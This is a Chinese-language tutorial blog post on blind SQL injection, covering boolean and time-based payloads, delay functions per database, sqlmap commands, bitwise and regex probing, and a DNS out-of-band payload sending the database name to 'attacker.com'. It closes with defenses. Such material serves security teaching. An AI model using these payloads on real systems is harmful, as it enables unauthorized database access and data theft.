当前位置: 首页 > news >正文

SQL注入之盲注技术详解

SQL注入之盲注技术详解

  • 一、盲注基本概念
    • 盲注特点:
  • 二、盲注主要类型
    • 1. 布尔盲注
      • 判断依据:
    • 2. 时间盲注
      • 判断依据:
  • 三、布尔盲注详细技术
    • 1. 识别布尔盲注
    • 2. 数据提取技术
      • (1) 判断数据库类型
      • (2) 获取数据库名长度
      • (3) 逐字符获取数据库名
      • (4) 获取表名
      • (5) 自动化工具
  • 四、时间盲注详细技术
    • 1. 识别时间盲注
    • 2. 各数据库延时函数
    • 2. 数据提取技术
      • (1) 判断条件是否成立
      • (2) 逐位获取数据
      • (3) 使用case when语句
      • (4) 自动化工具
  • 五、盲注高级技巧
    • 1. 二分法加速盲注
    • 2. 位运算盲注
    • 3. DNS外带技术(OOB)
    • 4. 正则表达式盲注
  • 六、盲注防御措施

一、盲注基本概念

盲注(Blind SQL Injection)是一种特殊的SQL注入技术,当应用程序不会直接返回数据库错误信息或查询结果时使用。与常规注入不同,盲注需要通过应用程序的间接响应(如布尔状态、时间延迟)来推断数据。

盲注特点:

  • 无直接错误信息回显
  • 无查询结果直接显示
  • 需要通过逻辑判断或事件延迟获取数据
  • 攻击速度较慢但危害性相同

二、盲注主要类型

1. 布尔盲注

通过页面返回的真假状态判断SQL语句执行结果

判断依据:

  • 页面内容变化
  • http状态码变化
  • 返回数据长度变化

2. 时间盲注

通过数据库响应时间延迟判断SQL语句执行结果

判断依据:

  • 页面返回时间差异
  • 使用延时函数如sleep(),benchmark()

三、布尔盲注详细技术

1. 识别布尔盲注

测试语句:

id=1' and 1=1 --+  (返回正常页面)
id=1' and 1=2 --+  (返回异常或不同页面)

2. 数据提取技术

(1) 判断数据库类型

and (select count(*) from information_schema.tables)>0 -- MySQL
and (select count(*) from sysobjects)>0 -- SQL Server

(2) 获取数据库名长度

and length(database())=5 -- 判断当前数据库名长度是否为5

(3) 逐字符获取数据库名

and substr(database(),1,1)='a' -- 判断第一个字符是否为a
and ascii(substr(database(),1,1))=97 -- 判断第一个字符ASCII码是否为97(a)

(4) 获取表名

and (select count(*) from information_schema.tables where table_schema=database() and substr(table_name,1,1)='u')>0

(5) 自动化工具

使用sqlmap进行布尔盲注:

sqlmap -u "http://example.com/?id=1" --technique=B --dbs

四、时间盲注详细技术

1. 识别时间盲注

id=1' and sleep(5) --+  (观察响应是否延迟5秒)

2. 各数据库延时函数

数据库延时函数
MySQLSLEEP(5), BENCHMARK(1000000,MD5(1))
SQL ServerWAITFOR DELAY ‘0:0:5’
PostgreSQLpg_sleep(5)
OracleDBMS_LOCK.SLEEP(5)

2. 数据提取技术

(1) 判断条件是否成立

id=1' and if(ascii(substr(database(),1,1))=97,sleep(5),1) --+

(2) 逐位获取数据

id=1' and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>100,sleep(5),1) --+

(3) 使用case when语句

id=1' and (case when (ascii(substr(database(),1,1))=97) then sleep(5) else 1 end) --+

(4) 自动化工具

使用sqlmap进行时间盲注:

sqlmap -u "http://example.com/?id=1" --technique=T --dbs

五、盲注高级技巧

1. 二分法加速盲注

and ascii(substr(database(),1,1))>128  -- 高位判断
and ascii(substr(database(),1,1))>64   -- 中位判断
and ascii(substr(database(),1,1))>96   -- 低位判断

2. 位运算盲注

and (ascii(substr(database(),1,1))>>1)&1=1  -- 判断第一位

3. DNS外带技术(OOB)

-- MySQL (需要load_file权限)
and (select load_file(concat('\\\\',(select database()),'.attacker.com\\share\\')))

4. 正则表达式盲注

and (select database()) regexp '^a'  -- 判断数据库名是否以a开头

六、盲注防御措施

  1. 使用预编译语句
  2. 输入验证:
    白名单验证
    类型强制转换
  3. 错误处理:
    同意错误页面
    不返回详细错误信息
  4. 权限控制:
    最小权限原则
    禁用危险函数
  5. WAF防护:
    识别并拦截盲注特征
    频率限制

http://www.mrgr.cn/news/96573.html

相关文章:

  • DataPlatter:利用最少成本数据提升机器人操控的泛化能力
  • 大模型时代的基础架构 读书笔记
  • Android设计模式之代理模式
  • 项目上传github——SSH连接配置文档
  • 【MySQL】从零开始:掌握MySQL数据库的核心概念(四)
  • 【MySQL】从零开始:掌握MySQL数据库的核心概念(五)
  • Transformer-BiLSTM、Transformer、CNN-BiLSTM、BiLSTM、CNN五模型多变量回归预测
  • 车载以太网网络测试-25【SOME/IP-报文格式-1】
  • Cocos Creator Shader入门实战(七):RGB不同算法效果的实现,及渲染技术、宏定义、属性参数的延伸配置
  • AIGC1——AIGC技术原理与模型演进:从GAN到多模态融合的突破
  • 01-Docker 安装
  • 五.ubuntu20.04 - ffmpeg推拉流以及Nginx、SRS本地部署
  • YOLOv11模型的常见处理
  • 我的机器学习学习之路
  • 【TensorRT】TensorRT从安装到推理——Python 环境下 MobileNetV4 三分类任务
  • VUE如何前端控制及动态路由详细讲解
  • Go 语言常见错误
  • Java 大视界 -- Java 大数据在智慧矿山设备故障预测与预防性维护中的技术实现(163)
  • 【蓝桥杯—单片机】通信总线专项 | 真题整理、解析与拓展 (更新ing...)
  • 基于FPGA的ESP8266无线数据传输(温湿度DTH11、光照强度BH1750、WIFI模块)连接中国移动onenet云平台,仿真+上板通过+可视化平台搭建